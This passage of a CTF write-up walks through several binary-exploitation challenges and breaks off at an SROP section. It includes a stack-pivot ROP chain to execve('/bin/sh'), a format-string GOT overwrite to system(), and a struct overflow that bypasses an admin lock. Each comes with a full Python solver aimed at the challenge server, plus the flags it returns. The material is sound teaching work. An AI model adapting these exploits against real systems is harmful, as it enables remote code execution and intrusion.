action_log.</p><p>•Moves 20–21: Send the argv array, which will consist of a pointer to /bin/sh and a NULL terminator. These will be stored at action_log[19] and action_log[20] respectively.</p><p>Constraint Handling: A notable detail is that fgets adds a \n to strings shorter than its size limit. If we send a 7-byte command, the \n is left in the input buffer and consumed by the next fgets call. The solver must account for this by consuming extra prompt lines when sending 7-byte strings to ensure proper synchronization with the server’s input reading.</p><h4>Step 3: Stack Pivoting:</h4><p>Since the buffer overflow in inspect_seed() only provides 15 bytes of overflow (8 bytes for saved RBP and 7 bytes for the return address), we cannot fit a full ROP chain directly on the stack. Therefore, we employ a Stack Pivot technique:</p><ol><li>Overwrite saved RBP: During the buffer overflow in inspect_seed(), we overwrite the saved RBP on the stack with a pointer to the middle of our action_log array (specifically, action_log[2]). This is where our ROP chain effectively begins.</li></ol><p>2. Overwrite Return Address: We overwrite the return address with the address of a leave ; ret gadget. Such a gadget can be found at the end of functions like inspect_seed or harvest_plot within the binary.</p><h4>Execution Flow after Overflow:</h4><ol><li>When <strong><em>inspect_seed </em></strong>returns, it first executes leave. This instruction sets RSP to the value of the saved RBP (which is now our pointer to action_log[2]) and then pops the value at [RSP] into RBP (so action_log[2]’s content goes into RBP, and RSP points to action_log[3]).</li></ol><p>2. Next, inspect_seed executes ret. This instruction pops the value at [RSP] (which is now action_log[3]) into RIP, transferring control to our first ROP gadget.</p><p>3. The leave ; ret gadget is then executed. The leave instruction sets RSP to the value of the (newly set) RBP (which is action_log[2]) and then pops the value at [RSP] into RBP (so action_log[2]’s content goes into RBP, and RSP points to action_log[3]).</p><p>4. The ret instruction of the gadget then pops the value at [RSP] (which is action_log[3], our first ROP gadget) into RIP, effectively starting our ROP chain.</p><h4>Step 4: Shell Access:</h4><p>The ROP chain, constructed from the garden_runes() gadgets and staged in action_log, will execute execve(“/bin/sh”, [“/bin/sh”, NULL], NULL). Upon successful execution of this syscall, a remote shell will be spawned on the server, allowing us to interact with the system and retrieve the flag.</p><h3>3. Final Python Solver:</h3><p>The following Python script automates the entire exploitation process, from PIE leak to shell spawning and flag extraction.</p><pre>import socket<br>import re<br>import select<br>import struct<br>import time<br><br>def p64(addr):<br>    return struct.pack(&#39;&lt;Q&#39;, addr)<br><br>def recvuntil(s, pattern):<br>    s.setblocking(1)<br>    data = b&quot;&quot;<br>    while pattern not in data:<br>        chunk = s.recv(1)<br>        if not chunk: break<br>        data += chunk<br>    return data<br><br>def solve():<br>    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>    s.connect((&quot;209.74.79.65&quot;, 10069))<br>    <br>    # Step 1: Leak PIE Base<br>    recvuntil(s, b&quot;&gt; &quot;)<br>    s.sendall(b&quot;map\n&quot;)<br>    map_str = recvuntil(s, b&quot;&gt; &quot;).decode(&#39;utf-8&#39;, &#39;ignore&#39;)<br>    <br>    plants = {}<br>    for line in map_str.split(&quot;\n&quot;):<br>        if &quot; at (&quot; in line:<br>            match = re.search(r&quot;\[(.)\].+?at \(\s*(\d+),\s*(\d+)\)&quot;, line)<br>            if match:<br>                symbol = match.group(1)<br>                x = int(match.group(2))<br>                y = int(match.group(3))<br>                # Map plant symbols to their original index (0-7)<br>                plant_idx = &quot;RTDUMBO&quot;.find(symbol)<br>                if symbol == &#39;G&#39;: plant_idx = 7 # Golden Seed is plant 7<br>                plants[plant_idx] = (x, y)<br>                <br>    # Reverse the plant placement algorithm to find main&#39;s address bytes<br>    sim_garden = [[0]*16 for _ in range(16)]<br>    address_bytes = [0]*8<br>    for i in range(7, -1, -1):<br>        actual_x, actual_y = plants[i]<br>        for b in range(256):<br>            ox, oy = (b &gt;&gt; 4) &amp; 0x0F, b &amp; 0x0F<br>            x, y = ox, oy<br>            # Simulate collision resolution<br>            while sim_garden[y][x] != 0:<br>                x = (x + 1) % 16<br>                if x == 0: y = (y + 1) % 16<br>            if x == actual_x and y == actual_y:<br>                address_bytes[i] = b<br>                sim_garden[actual_y][actual_x] = i + 1<br>                break<br>            <br>    # Reconstruct main address and calculate PIE base<br>    pie_base = sum(b &lt;&lt; (8*i) for i, b in enumerate(address_bytes)) - 0x1f28 # Offset of main from PIE base<br>    print(f&quot;[+] PIE Base: {hex(pie_base)}&quot;)<br>    <br>    # Calculate addresses of key locations and gadgets<br>    action_log_base = pie_base + 0x6180 # Address of global action_log array<br>    pop_rdi, pop_rsi, pop_rdx, pop_rax = pie_base + 0x122d, pie_base + 0x122f, pie_base + 0x1231, pie_base + 0x1233<br>    syscall, leave_ret = pie_base + 0x1235, pie_base + 0x180b # leave; ret gadget<br>    <br>    # Pointers for /bin/sh and argv array within action_log<br>    sh_ptr = action_log_base + 8 # action_log[1] (after dummy for RBP)<br>    argv_ptr = action_log_base + (20 * 8) # action_log[20]<br>    <br>    # Step 2: Inject ROP Chain into action_log<br>    # Send /bin/sh (exactly 7 bytes, will be stored at action_log[0])<br>    s.sendall(b&quot;/bin/sh\n&quot;)<br>    recvuntil(s, b&quot;&gt; &quot;) # Consume prompt<br>    recvuntil(s, b&quot;&gt; &quot;) # Consume residual \n output from previous fgets (move 2)<br>    <br>    # ROP chain starting at action_log[2] (move 3)<br>    # execve(&quot;/bin/sh&quot;, [&quot;/bin/sh&quot;, NULL], NULL)<br>    rop = [<br>        p64(pop_rdi)[:6], # pop rdi; ret<br>        p64(sh_ptr)[:6],  # arg1: ptr to &quot;/bin/sh&quot;<br>        p64(pop_rsi)[:6], # pop rsi; ret<br>        p64(argv_ptr)[:6],# arg2: ptr to argv array<br>        p64(pop_rdx)[:6], # pop rdx; ret<br>        b&quot;&quot;,             # arg3: NULL<br>        p64(pop_rax)[:6], # pop rax; ret<br>        b&quot;\x3b&quot;,         # syscall number for execve (0x3b)<br>        p64(syscall)[:6]  # syscall; ret<br>    ]<br>    <br>    for p in rop:<br>        s.sendall(p + b&quot;\n&quot;)<br>        recvuntil(s, b&quot;&gt; &quot;)<br>        <br>    # Fill remaining action_log entries with dummy values until argv array<br>    for m in range(len(rop)+3, 20):<br>        s.sendall(b&quot;A\n&quot;)<br>        recvuntil(s, b&quot;&gt; &quot;)<br>        <br>    # argv array: [ptr_to_sh, NULL]<br>    s.sendall(p64(sh_ptr)[:6] + b&quot;\n&quot;) # move 20 (action_log[19])<br>    recvuntil(s, b&quot;&gt; &quot;)<br>    s.sendall(b&quot;\n&quot;) # move 21 (action_log[20]) - NULL terminator<br>    recvuntil(s, b&quot;&gt; &quot;)<br>    <br>    # Step 3: Stack Pivoting<br>    # Trigger inspect_seed by trying to harvest the Golden Seed<br>    s.sendall(b&quot;reap\n&quot;)<br>    recvuntil(s, b&quot;Passcode: &quot;)<br>    <br>    # Construct overflow payload:<br>    # padding (16 bytes for &#39;code&#39; buffer)<br>    # + saved RBP (8 bytes, pointing to action_log[1] for stack alignment)<br>    # + Return Address (7 bytes, pointing to leave; ret gadget)<br>    buf = b&quot;A&quot; * 16 + p64(action_log_base + 8) + p64(leave_ret)[:7]<br>    s.sendall(buf)<br>    <br>    # Step 4: Shell Access<br>    print(&quot;[+] Shell spawned! Sending commands...&quot;)<br>    time.sleep(2)<br>    s.sendall(b&quot;cat /home/ctf/flag.txt\n&quot;)<br>    time.sleep(1)<br>    print(&quot;Flag Output:&quot;, s.recv(4096).decode(&#39;utf-8&#39;, &#39;ignore&#39;))<br>    s.close()<br><br>if __name__ == &#39;__main__&#39;:<br>    solve()</pre><h3>4. Flag:</h3><p>Upon successful execution of the exploit script, the server yields the following flag:</p><blockquote><strong><em>JCChilal{31D_MUB7R7K_dynamic}</em></strong></blockquote><p>Too easy!!!</p><h3>3.Eidiya Guestbook:</h3><h4>Category: Pwn</h4><h4>Difficulty: medium</h4><h4>Flag format : JCChilal{…}</h4><h4>Description : An old Eid guestbook kisok accepts exactly three public greetings before it closes.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/330/1*yhzmcfP_I3nSULoU2_rRnA.png" /><figcaption>chall description</figcaption></figure><p>The Eid Guestbook Kiosk challenge is a pwnable binary exploitation task. The scenario involves a remote Linux service simulating a digital guestbook kiosk that allows users to leave exactly three public greetings before it closes. The objective is to exploit a memory corruption vulnerability within the application to achieve remote code execution (RCE) and retrieve the hidden flag.</p><p>Service Details:</p><p>•Connection: nc 209.74.79.65 10021</p><p>•Architecture: x86_64 (ELF64)</p><p>•Provided Files: chall (ELF binary), <br>libc.so.6 (C standard library)</p><h3>Binary Protections:</h3><p>Before attempting to exploit the binary, it is essential to understand the security mechanisms in place. Running <strong><em>checksec </em></strong>on the <strong><em>chall </em></strong>binary reveals the following memory protections:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f9tYqgCwmFNpS8HYRQP9Ig.png" /><figcaption>Protection Explination</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*Z8I5jEl4CfCO2FQVfyZSDA.png" /><figcaption>pt2</figcaption></figure><h3>1. Vulnerability Analysis:</h3><p>The core vulnerability in the application was discovered within the guestbook function. The relevant C code snippet is as follows:</p><pre>char greeting[256];<br>read_line_bytes(greeting, 256);<br>printf(greeting); // &lt;--- Vulnerability: Format String</pre><p>The application reads up to 256 bytes of user input into the greeting buffer. However, it then passes this user-controlled buffer directly to the printf function as the format string argument, rather than using a safe format like printf(&quot;%s&quot;, greeting).</p><p>This is a classic Format String Vulnerability. Because the user controls the format string, they can inject format specifiers (such as %x, %p, %n) to manipulate the behavior of printf. This grants two powerful primitives:</p><ul><li>Arbitrary Memory Read: Using specifiers like %p or %s, an attacker can read data from the stack or arbitrary memory locations.</li><li>Arbitrary Memory Write: Using the %n specifier (and its variants like %hn, %hhn), an attacker can write the number of bytes printed so far to a memory address provided on the stack.</li></ul><h3>2. Exploitation Strategy:</h3><p>The exploitation process is divided into three distinct rounds, corresponding to the three greetings allowed by the kiosk.</p><h4>Step 1: Information Leakage (Round 1):</h4><p>Due to the presence of PIE and ASLR (Address Space Layout Randomization), the first step is to leak memory addresses to determine the base addresses of the binary and the libc library.</p><p>By sending a carefully crafted format string payload, we can read specific values from the stack. The payload %43$p|%45$p is used to leak two crucial addresses:</p><ul><li>%43$p: This leaks the return address from the guestbook function back to main. This address belongs to the binary itself.</li><li>%45$p: This leaks the return address from _start into __libc_start_main. This address belongs to the libc library.</li></ul><p>Once these addresses are leaked, we can calculate the base addresses by subtracting their known static offsets:</p><blockquote>binary_base = leak_43–0x1654</blockquote><blockquote>libc_base = leak_45–0x1a2d90 (This offset is specific to the provided libc.so.6 version).</blockquote><h4>Step 2: Hijacking the GOT (Round 2):</h4><p>With the base addresses calculated, we can determine the exact runtime addresses of any function or data structure. Our goal is to achieve code execution by redirecting the program’s flow. Since Partial RELRO is enabled, the GOT is writable.</p><p>We will perform a GOT Overwrite attack. Specifically, we will overwrite the GOT entry for printf with the address of the system function from libc.</p><ol><li>Calculate Target Addresses:</li></ol><ul><li>printf@GOT = binary_base + 0x4030</li><li>system = libc_base + 0x50d70</li></ul><p>2. Construct the Format String Payload: We use the %hhn format specifier to write the address of system into printf@GOT byte-by-byte. This multi-byte overwrite technique is more reliable and avoids printing massive amounts of output. The payload is carefully constructed to write the 6 bytes of the system address to the 6 consecutive bytes starting at printf@GOT.</p><p>3. Execute the Overwrite: When the application processes this second greeting, printf will execute the format string, effectively replacing its own GOT entry with the address of system.</p><p>After this overwrite, any subsequent call to printf(argument) in the program will actually execute system(argument).</p><h4>Step 3: Triggering Command Execution (Round 3):</h4><p>For the third and final greeting, we simply provide the shell command we wish to execute.</p><pre>cat flag.txt; sleep 5</pre><p>When the program attempts to print this greeting using printf(greeting), it will instead call system(“cat flag.txt; sleep 5”). This executes the command on the remote server, reading the flag file and returning its contents to us. The sleep 5 ensures the connection remains open long enough for the output to be transmitted.</p><h3>3. Final Python Solver:</h3><p>The following Python script automates the entire three-round exploit chain.</p><pre>import socket<br>import struct<br>import time<br>import re<br><br>def solve():<br>    server_addr = (&quot;209.74.79.65&quot;, 10021)<br>    <br>    # Establish connection to the remote server<br>    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>    s.settimeout(20)<br>    s.connect(server_addr)<br>    <br>    # Helper function to read until a specific string is received<br>    def recv_until(text):<br>        res = b&quot;&quot;<br>        while text.encode() not in res:<br>            chunk = s.recv(1)<br>            if not chunk: break<br>            res += chunk<br>        return res.decode(&#39;utf-8&#39;, errors=&#39;ignore&#39;)<br><br>    # Round 1: Leak PIE and Libc base addresses<br>    recv_until(&quot;choice[0]&gt; &quot;)<br>    s.sendall(b&quot;1\n&quot;)<br>    recv_until(&quot;greeting[0]&gt; &quot;)<br>    <br>    # Send payload to leak stack values at offsets 43 and 45<br>    s.sendall(b&quot;%43$p|%45$p\n&quot;)<br>    data = recv_until(&quot;choice[1]&gt; &quot;)<br>    <br>    # Parse the leaked addresses<br>    match = re.search(r&quot;(0x[0-9a-f]+)\|(0x[0-9a-f]+)&quot;, data)<br>    binary_base = int(match.group(1), 16) - 0x1654<br>    libc_base = int(match.group(2), 16) - 0x1a2d90<br>    system_addr = libc_base + 0x50d70<br>    <br>    print(f&quot;[+] Binary Base: {hex(binary_base)}&quot;)<br>    print(f&quot;[+] Libc Base: {hex(libc_base)}&quot;)<br>    print(f&quot;[+] System Address: {hex(system_addr)}&quot;)<br><br>    # Round 2: Overwrite printf@GOT with the address of system<br>    s.sendall(b&quot;1\n&quot;)<br>    recv_until(&quot;greeting[1]&gt; &quot;)<br>    <br>    printf_got = binary_base + 0x4030<br>    <br>    # Extract the 6 bytes of the system address<br>    bytes_val = [(system_addr &gt;&gt; (i*8)) &amp; 0xff for i in range(6)]<br>    <br>    fmt = &quot;&quot;<br>    curr = 0<br>    # Construct the %hhn format string payload for byte-by-byte overwrite<br>    for i in range(6):<br>        count = (bytes_val[i] - curr) % 256<br>        if count &lt; 8: count += 256<br>        # Index 25 corresponds to the start of our appended addresses (offset 136)<br>        fmt += f&quot;%{count}c%{25+i}$hhn&quot;<br>        curr = bytes_val[i]<br>    <br>    # Pad the format string to exactly 136 bytes<br>    payload = fmt.encode().ljust(136, b&quot;X&quot;)<br>    <br>    # Append the target addresses (printf@GOT + i)<br>    for i in range(6): <br>        payload += struct.pack(&quot;&lt;Q&quot;, printf_got + i)<br>    payload += b&quot;\n&quot;<br>    <br>    # Send the overwrite payload<br>    s.sendall(payload)<br>    <br>    # Round 3: Trigger command execution<br>    time.sleep(2)<br>    s.sendall(b&quot;1\n&quot;) # This is read as choice[2]<br>    recv_until(&quot;greeting[2]&gt; &quot;)<br>    <br>    # Send the command to be executed by system()<br>    s.sendall(b&quot;cat flag.txt; sleep 5\n&quot;) <br>    <br>    print(&quot;[+] Payload sent. Awaiting flag...&quot;)<br>    print(&quot;FLAG CAPTURED:&quot;)<br>    print(s.recv(4096).decode(&#39;utf-8&#39;, errors=&#39;ignore&#39;))<br>    s.close()<br><br>if __name__ == &quot;__main__&quot;:<br>    solve()</pre><h3>4. Captured Flag:</h3><p>Upon successful execution of the exploit script, the server yields the following flag:</p><pre>JCCHilal{fmt_l34k5_g07_wr1t35_r3t2l1bc}</pre><p>Pwn is my playstation(requires ball)</p><h3>4: 🔐 Secure Note Logger:</h3><blockquote>Category: Binary Exploitation (Pwn)<br>Difficulty: Easy <br>Instance: nc 209.74.79.65 10001 <br>Flag Format: JCCHilal{..} <br>Description : You’ve stumbled upon a “Secure Note Logger” Service. It let’s you save a note, but admin access is locked down tight — Or is it? Find a way to bypass the lock and read the flag.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*3ZlNsTWESSbyBBIgnlv0XA.png" /><figcaption>Challenge desc</figcaption></figure><h3>📖 Challenge Overview:</h3><p>The “Secure Note Logger” challenge presents a seemingly secure service that allows users to save a note. However, the administrative access is supposedly locked down. The objective is to find a vulnerability in the provided binary, bypass the lock mechanism, and retrieve the flag.</p><p>we are provided with a compiled binary (note_logger), its corresponding C source code (note_logger.c), and a remote instance to connect to and exploit.</p><h3>🔍 Step 1: Source Code Analysis:</h3><p>The first step in any binary exploitation challenge is to thoroughly analyze the provided source code to identify potential vulnerabilities. The full source code is as follows:</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;stdlib.h&gt;<br><br>struct Note {<br>    char content[24];<br>    int locked;<br>    long priority;<br>};<br><br>void save_note(struct Note *note) {<br>    printf(&quot;Enter your note: &quot;);<br>    read(0, note-&gt;content, 40);<br>    printf(&quot;Note saved at priority: %ld\n&quot;, note-&gt;priority);<br>}<br><br>int main(void) {<br>    struct Note note;<br>    note.priority = 0;<br>    note.locked = 1;<br><br>    printf(&quot;=== Secure Note Logger ===\n&quot;);<br>    save_note(&amp;note);<br><br>    if (note.priority == 0xdeadbeef &amp;&amp; !note.locked) {<br>        printf(&quot;Admin access granted!\n&quot;);<br>        system(&quot;cat flag.txt&quot;);<br>    } else if (note.locked) {<br>        printf(&quot;Note is locked. Access denied.\n&quot;);<br>    } else {<br>        printf(&quot;Exiting program...\n&quot;);<br>    }<br>    return 0;<br>}</pre><h3>Key Observations and Vulnerability Identification:</h3><ol><li>The Note Structure: The program defines a Note struct containing three members:</li></ol><ul><li>content[24]: A 24-byte character array intended to store the user’s input.</li><li>locked: An integer flag initialized to 1 (indicating the note is locked).</li><li>priority: A long integer initialized to 0.</li></ul><p>2. The Vulnerability (Buffer Overflow): The critical flaw resides within the save_note() function.</p><pre>read(0, note-&gt;content, 40);</pre><p>The read() function is instructed to read up to 40 bytes from standard input (0) into the note-&gt;content buffer. However, the content buffer is only allocated 24 bytes. This discrepancy creates a classic buffer overflow vulnerability. By providing more than 24 bytes of input, an attacker can write past the boundaries of the content array and overwrite the adjacent memory locations, specifically the locked and priority fields.</p><p>3. The Win Condition: The goal is to execute the system(“cat flag.txt”) command located in main(). To reach this code path, two conditions must be satisfied simultaneously:</p><ul><li>note.priority must be equal to the hexadecimal value 0xdeadbeef (which is 3735928559 in decimal).</li><li>note.locked must evaluate to false (i.e., it must be 0).</li></ul><h3>🧮 Step 2: Understanding the Memory Layout:</h3><p>To successfully exploit the buffer overflow, it is crucial to understand how the Note struct is laid out in memory. The remote server is running a 64-bit Linux system, which dictates specific alignment rules. The long data type requires 8-byte alignment. Consequently, the compiler inserts 4 bytes of padding after the 4-byte int locked field to ensure the subsequent long priority field starts at an 8-byte boundary.</p><h4>Struct Memory Map:</h4><p>The memory layout of the 40-byte struct is as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*PeEYsE-xKrEwLtxcCIoO8w.png" /><figcaption>Map</figcaption></figure><p>Because the read() call allows exactly 40 bytes of input starting at offset 0, we have precise control over the entire struct, enabling us to overwrite the locked and priority fields with our desired values.</p><h3>🛠️ Step 3: Crafting the Payload:</h3><p>Based on the memory layout, the 40-byte payload must be meticulously constructed to overwrite the target fields correctly.</p><ol><li>Junk Data: The first 24 bytes will fill the content buffer. We can use any character, such as “A”.</li></ol><p>2. Overwriting locked: The next 4 bytes correspond to the locked integer. We need to set this to 0.</p><p>3. Padding: The following 4 bytes are compiler padding. We can fill these with null bytes (\x00).</p><p>4. Overwriting priority: The final 8 bytes correspond to the priority long integer. We must set this to 0xdeadbeef.</p><h4>Endianness Consideration:</h4><p>The x86–64 architecture utilizes little-endian byte ordering. This means that the least significant byte of a multi-byte value is stored at the lowest memory address. Therefore, the 8-byte representation of 0xdeadbeef must be packed in reverse byte order:</p><pre>0xdeadbeef → \xef\xbe\xad\xde\x00\x00\x00\x00</pre><h4>Payload Construction:</h4><p>The complete payload structure is as follows:</p><ul><li>Bytes 0–23: AAAAAAAAAAAAAAAAAAAAAAAA (24 bytes of junk)</li><li>Bytes 24–27: \x00\x00\x00\x00 (locked = 0)</li><li>Bytes 28–31: \x00\x00\x00\x00 (padding)</li><li>Bytes 32–39: \xef\xbe\xad\xde\x00\x00\x00\x00 (priority = 0xdeadbeef)</li></ul><h3>🐍 Step 4: Final Solver Script:</h3><p>To automate the exploitation process, we can write a Python script using the socket and struct modules. The struct.pack function is particularly useful for handling the little-endian conversion.</p><pre>import socket<br>import struct<br>import argparse<br><br>def solve(host, port):<br>    &quot;&quot;&quot;<br>    Exploit the Secure Note Logger buffer overflow.<br>    <br>    The save_note() function reads 40 bytes into a 24-byte buffer,<br>    allowing us to overwrite the &#39;locked&#39; and &#39;priority&#39; fields<br>    of the Note struct.<br>    <br>    We set locked=0 and priority=0xdeadbeef to pass the admin check.<br>    &quot;&quot;&quot;<br><br>    # === Build Payload ===<br>    payload  = b&quot;A&quot; * 24                       # content[24] - junk fill<br>    payload += struct.pack(&quot;&lt;I&quot;, 0)            # locked = 0 (bypass lock)<br>    payload += struct.pack(&quot;&lt;I&quot;, 0)            # padding (struct alignment)<br>    payload += struct.pack(&quot;&lt;Q&quot;, 0xdeadbeef)   # priority = 0xdeadbeef<br><br>    assert len(payload) == 40, f&quot;Payload must be exactly 40 bytes, got {len(payload)}&quot;<br><br>    print(f&quot;[*] Payload size : {len(payload)} bytes&quot;)<br>    print(f&quot;[*] Payload (hex): {payload.hex()}&quot;)<br>    print(f&quot;[*] Connecting to {host}:{port}...&quot;)<br><br>    try:<br>        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:<br>            s.settimeout(10)<br>            s.connect((host, port))<br><br>            # Send the payload immediately (server sends banner + prompt together)<br>            print(&quot;[*] Sending payload...&quot;)<br>            s.sendall(payload)<br><br>            # Receive all output<br>            response = b&quot;&quot;<br>            while True:<br>                try:<br>                    chunk = s.recv(4096)<br>                    if not chunk:<br>                        break<br>                    response += chunk<br>                except socket.timeout:<br>                    break<br><br>            output = response.decode(errors=&#39;ignore&#39;)<br>            print(f&quot;\n{&#39;=&#39;*50}&quot;)<br>            print(f&quot;[+] Server Response:&quot;)<br>            print(f&quot;{&#39;=&#39;*50}&quot;)<br>            print(output)<br>            print(f&quot;{&#39;=&#39;*50}&quot;)<br><br>            # Extract flag<br>            if &quot;Admin access granted&quot; in output:<br>                print(&quot;\n[+] SUCCESS! Admin access bypassed!&quot;)<br>                # Try to find the flag pattern<br>                for line in output.split(&#39;\n&#39;):<br>                    if &quot;JC&quot; in line:<br>                        print(f&quot;[+] FLAG: {line.strip()}&quot;)<br>            else:<br>                print(&quot;\n[-] Exploit failed. Access was not granted.&quot;)<br><br>    except Exception as e:<br>        print(f&quot;[-] Error: {e}&quot;)<br><br>if __name__ == &quot;__main__&quot;:<br>    parser = argparse.ArgumentParser(description=&quot;Secure Note Logger Exploit&quot;)<br>    parser.add_argument(&quot;host&quot;, nargs=&quot;?&quot;, default=&quot;209.74.79.65&quot;, help=&quot;Target host&quot;)<br>    parser.add_argument(&quot;port&quot;, nargs=&quot;?&quot;, type=int, default=10001, help=&quot;Target port&quot;)<br>    args = parser.parse_args()<br>    solve(args.host, args.port)</pre><h3>Script Functionality Explanation:</h3><ol><li>Payload Generation: The script constructs the 40-byte payload by concatenating 24 “A”s, the packed integer 0 (for locked), another packed integer 0 (for padding), and the packed long integer 0xdeadbeef (for priority). The &lt;I and &lt;Q format strings in struct.pack ensure the values are packed as little-endian unsigned integer and unsigned long long, respectively.</li></ol><p>2. Connection: It establishes a TCP connection to the target host and port using the socket library.</p><p>3. Exploitation: It sends the crafted payload to the server.</p><p>4. Response Handling: It receives the server’s response, decodes it, and checks for the “Admin access granted” string to verify successful exploitation. It then parses the output to extract and display the flag.</p><h3>🏁 Step 5: Exploitation &amp; Output:</h3><p>Executing the solver script against the remote instance yields the following output:</p><pre>$ python solver.py<br>[*] Payload size : 40 bytes<br>[*] Payload (hex): 4141414141414141414141414141414141414141414141410000000000000000efbeadde00000000<br>[*] Connecting to 209.74.79.65:10001...<br>[*] Sending payload...<br><br>==================================================<br>[+] Server Response:<br>==================================================<br>JCChilal{F0LL0W_U5_0N_1N57A_&quot;jo_cyber_club&quot;}<br>=== Secure Note Logger ===<br>Enter your note: Note saved at priority: 3735928559<br>Admin access granted!<br>==================================================<br><br>[+] SUCCESS! Admin access bypassed!<br>[+] FLAG: JCChilal{F0LL0W_U5_0N_1N57A_&quot;jo_cyber_club&quot;}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yd3ulLCTdxUvc2I5Um-YpQ.jpeg" /><figcaption>Script output</figcaption></figure><p>The server response confirms that the note was saved with a priority of 3735928559 (which is the decimal equivalent of 0xdeadbeef). The “Admin access granted!” message indicates that our payload successfully bypassed the security checks, resulting in the flag being printed.</p><h3>🚩 Final Flag:</h3><pre>JCChilal{F0LL0W_U5_0N_1N57A_&quot;jo_cyber_club&quot;}</pre><p>Guys i added emojis and stuff and lowkey made it look diff cause cmon break the ice just talk talk talk talk, anyways heres another ice breaker before the last 2 challs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*TpUOw-KT9ktLmOnyVH13HQ.gif" /><figcaption>Literally me</figcaption></figure><p>Now please stand by for the next chall it will be a long one i kinda added way more details to the write up to simplify and leave nothing not understood, if u have made it this far please leave a follow, comment ur fav part and leave a clap, check my other works too :3, (i hate self promo).</p><h3>5: Do Not Disturb:</h3><blockquote>Category: Binary Exploitation (Pwn) <br>Description: The night desk wants a quiet shift but it still asks for a shift code and one final report. <br>Difficulty: Medium <br>Instance: nc 209.74.79.65 10036 <br>Flag Format: JCCHilal{…}</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*A6ZuJK8CqScSEhivt2v5OQ.png" /><figcaption>Challenge description</figcaption></figure><h3>Challenge Overview:</h3><p>This challenge involves exploiting a 64-bit Linux binary without source code, relying solely on the provided executable and an exploit script. The goal is to bypass security mechanisms and retrieve the flag from the remote instance. The binary presents two interaction points: a “shift code” prompt and a “final report” prompt.</p><p>time to dig into static analysis!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*sV-h6_R1FXvcTN65lcFcLQ.gif" /></figure><h3>Step 1: Initial Reconnaissance and Binary Analysis:</h3><p>Upon receiving the binary, the first step is to analyze its characteristics and security mitigations using checksec and strings.</p><h4>checksec Output:</h4><pre>RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH Symbols  FORTIFY Fortified Fortifiable FILE<br>Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols   No 0  2  /home/ubuntu/upload/chall(2)</pre><p>Key Observations:</p><ul><li>Full RELRO: Global Offset Table (GOT) is read-only after relocation, preventing GOT overwrite attacks.</li><li>Canary found: Stack canaries are present, protecting against simple stack buffer overflows that overwrite the return address.</li><li>NX enabled: The stack and heap are non-executable, preventing direct shellcode injection.</li><li>PIE enabled: Position-Independent Executable means the binary is loaded at a random base address, making it difficult to predict absolute addresses of functions and gadgets.</li><li>No Symbols: The binary is stripped, meaning function names and debugging symbols are removed, complicating static analysis.</li></ul><p>These mitigations indicate that a more advanced exploitation technique, likely involving information leaks and Return-Oriented Programming (ROP) or Sigreturn-Oriented Programming (SROP), will be necessary.</p><h4>strings Output:</h4><p>Relevant strings from the binary reveal interaction prompts and potential internal functions:</p><pre>shift code&gt; <br>desk note: <br>leave final report&gt; <br>report archived<br>seccomp_load<br>seccomp_release<br>seccomp_rule_add<br>seccomp_init</pre><p>The presence of seccomp_init, seccomp_rule_add, seccomp_load, and seccomp_release strongly suggests that a seccomp sandbox is in place, restricting the available syscalls. This further reinforces the need for SROP to bypass these restrictions.</p><h3>Step 2: Phase 1 — Information Leak (Canary, PIE, Stack):</h3><p>The exploit script begins by interacting with the first prompt, which appears to be a mechanism to leak crucial memory addresses.</p><h4>Vulnerability:</h4><p>The solver sends 48 bytes of arbitrary data (b’A’ * 48) to thefirst prompt (shift code&gt; ). The response from the server, which is 0x60 bytes long, contains the leaked information.</p><p>From the objdump output (specifically the shift_code function, which is called after the initial banner), we can infer the following:</p><ul><li>A buffer is allocated on the stack, likely at rbp-0x50.</li><li>A read operation takes 0x30 bytes of input into this buffer.</li><li>However, a subsequent write operation echoes back 0x60 bytes from rbp-0x50.</li></ul><p>This creates a partial buffer overflow where our 48-byte input fills the buffer, but the write operation reads beyond our input, leaking stack data. The memset call clearing 0x40 bytes from rbp-0x50 to rbp-0x10 is also important, as it means some of the stack is zeroed out.</p><h4>Memory Layout of Leaked Data:</h4><p>The 0x60 bytes (96 bytes) of leaked data can be broken down as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*PPj2trSS1-quSL98K1VyVw.png" /><figcaption>Memory Layout</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*ZxY2dhBFYIlouwvpu8AFOw.png" /><figcaption>Pt2</figcaption></figure><h4>Extracting Leaked Values:</h4><p>The solver script extracts these values:</p><pre># Receive &quot;desk note: &quot; then the 0x60 byte echo then &quot;\n&quot;<br>r.recvuntil(b&#39;desk note: &#39;)<br>leak = r.recv(0x60)<br>r.recvuntil(b&#39;\n&#39;)<br><br>canary = u64(leak[72:80])<br>saved_rbp = u64(leak[80:88])<br>ret_addr = u64(leak[88:96])<br><br>log.info(f&quot;Canary: {hex(canary)}&quot;)<br>log.info(f&quot;Saved RBP: {hex(saved_rbp)}&quot;)<br>log.info(f&quot;Return addr: {hex(ret_addr)}&quot;)</pre><h4>Calculating PIE Base:</h4><p>The return address (ret_addr) points to an instruction within the main function, specifically after the call to shift_code. By subtracting the known offset of this instruction from the ret_addr, the PIE base address can be determined.</p><pre># Return addr should be 0x15b2 + PIE (call to init_seccomp after shift_code)<br># Actually looking at main: call shift_code is at 0x15ad, so return is 0x15b2<br>pie_base = ret_addr - 0x15b2<br>log.info(f&quot;PIE base: {hex(pie_base)}&quot;)</pre><p>From the objdump output, the call to shift_code is at 0x15ad and the instruction immediately after it is at 0x15b2. This confirms the offset used in the solver script.</p><h3>Step 3: Phase 2 — Sigreturn-Oriented Programming 